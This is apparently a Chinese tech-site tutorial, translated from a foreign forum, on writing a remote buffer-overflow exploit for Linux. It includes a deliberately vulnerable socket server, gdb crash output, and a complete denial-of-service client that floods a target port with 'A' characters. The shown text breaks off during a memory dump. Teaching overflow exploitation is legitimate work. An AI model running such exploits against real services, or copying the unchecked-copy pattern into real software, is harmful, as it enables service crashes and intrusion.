频道栏目
首页 > 程序开发 > 综合编程 > 安全编程 > 正文
如何编写远程溢出EXPLOIT Linux版
2005-06-11 09:24:10           
收藏   我要投稿

无敌最寂寞

译者注:想必很多朋友都对缓冲区溢出非常了解了,网上也有很多关于windows下的缓冲区溢出漏洞的利用教程(本人也写过几篇)。但是linux下的完整溢出教程我还未看到过(也许是本人眼拙吧)。今天在国外的一个论坛发现这篇文章,感觉此文是一个非常不错的基础教程,因此决定翻译出来供大家鉴赏,自己也算是锻炼一下英语翻译吧:-)(其实我是在看完整篇文章后,根据自己的理解写的,几乎一点翻译都没有)

译文:
阅读此文前,我假设大家都会用c写一些基本的socket程序而且对本地溢出有所了解。OK!我们先写一个有漏洞服务端程序,代码如下:

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)

{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ;
sprintf(buffer, "Hello %s, nice to meet you! ", name);//没有做边界检查就直接将name数组copy至buffer数组
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}

int main(int argc, char *argv[])

{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port ", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;

}

程序非常简单,由命令行获得端口参数,然后在指定的端口监听连接。如下编译和调用此程序:

user@linux:~/ > gcc vulnerable.c -o vulnerable

user@linux:~/ > ./vulnerable 8080

下面我想检查一下这个程序的一些地址,看看它是如何构建的。我们用gdb来调试:

user@linux~/ > gdb vulnerable

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-suse-linux"...

(gdb) run 8080

Starting program: /home/user/directory/vulnerable 8080

现在程序已经乖乖的在8080端口监听连接了,接着我们用telnet或者netcat连接8080端口看看:

user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is ^].

My name is: Robin

, nice to meet you!

Connection closed by foreign host.

user@linux:~/ >

这个简单的服务端程序只是简单的获得名字然后再将名字回显到屏幕上,让我们继续吧!

如上操作后,gdb调试器窗口会有如下信息输出:

client from 127.0.0.1 0xbffff28c

/*不要因为这个地址在你的机器上不同而感到困惑, 因为在我的机器上是这个地址: 0xbffff28c */

让我们开始测试吧,重新telnet 到8080端口然后在"My name is:..."提示后输入超过1024个字节的字符:

user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is ^].

My name is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

这时你会发现,连接中断了!让我们看看gdb的输出吧:

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

// 不要关闭gdb

正如我们所看到的,eip的值被置成了0x41414141, 或许你会问为什么?让我试着解释一下吧:
当我们输入了超过1024个字节的字符后,程序会试图将name[2048]拷贝至buffer[1024](译者注:注意看上面原程序中我加注释的那行)这时由于name[2048]比buffer[1024]大出了1024个字节,因此多出的那些个字节会覆盖到buffer[1024]以外的缓冲区包括保存的eip的值(这是函数调用时压入堆栈的返回地址),我们的buffer就会像如下这样:

[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]

[xxxxx buffer-only-1024-bytes xxx] [EIP]

// 别忘了,eip是4个字节的值
当函数返回时,会从堆栈中将先前保存的eip的值弹出到eip寄存器中并跳转到这个地址继续执行。然而由于我们已经将保存的eip覆盖成了0x41414141,所以程序就会跳到一个错误的地址执行从而引起“segmentation fault”的错误。

到这里,我们就可以写出这个漏洞的D.O.S版本的利用程序了:
#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netdb.h>

int main(int argc, char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char buffer[2048];

int s, i;

if(argc != 3)

{

fprintf(stderr, "usage: %s <host> <port> ", argv[0]);

exit(0);

}

s = socket(AF_INET, SOCK_STREAM, 0);

if(s == -1)

{

perror("socket() failed ");

exit(0);

}

host = gethostbyname(argv[1]);

if( host == NULL)

{

herror("gethostbyname() failed");

exit(0);

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(atol(argv[2]));

if(connect(s, &addr, sizeof(addr)) == -1)

{

perror("couldnt connect so server ");

exit(0);

}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)

buffer[i] = A;

printf("buffer is: %s ", buffer);

printf("buffer filled... now sending buffer ");

send(s, buffer, strlen(buffer), 0);

printf("buffer sent. ");

close(s);

return 0;

}
为了进一步利用这个漏洞,我们需要找出返回地址的位置。让我们看看如何利用gdb找出返回地址的位置:

接着上面的gdb调试窗口(我希望你没关掉它),输入:x200bx $esp-200 ,得到如下的结果:

(gdb) x/200bx $esp-200

0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x

点击复制链接 与好友分享!回本站首页
相关TAG标签
上一篇:Linux下开发一个虚拟域名系统速成
下一篇:深入了解C语言(函数的参数传递和函数使用参数的方法)
相关文章
图文推荐
文章
推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站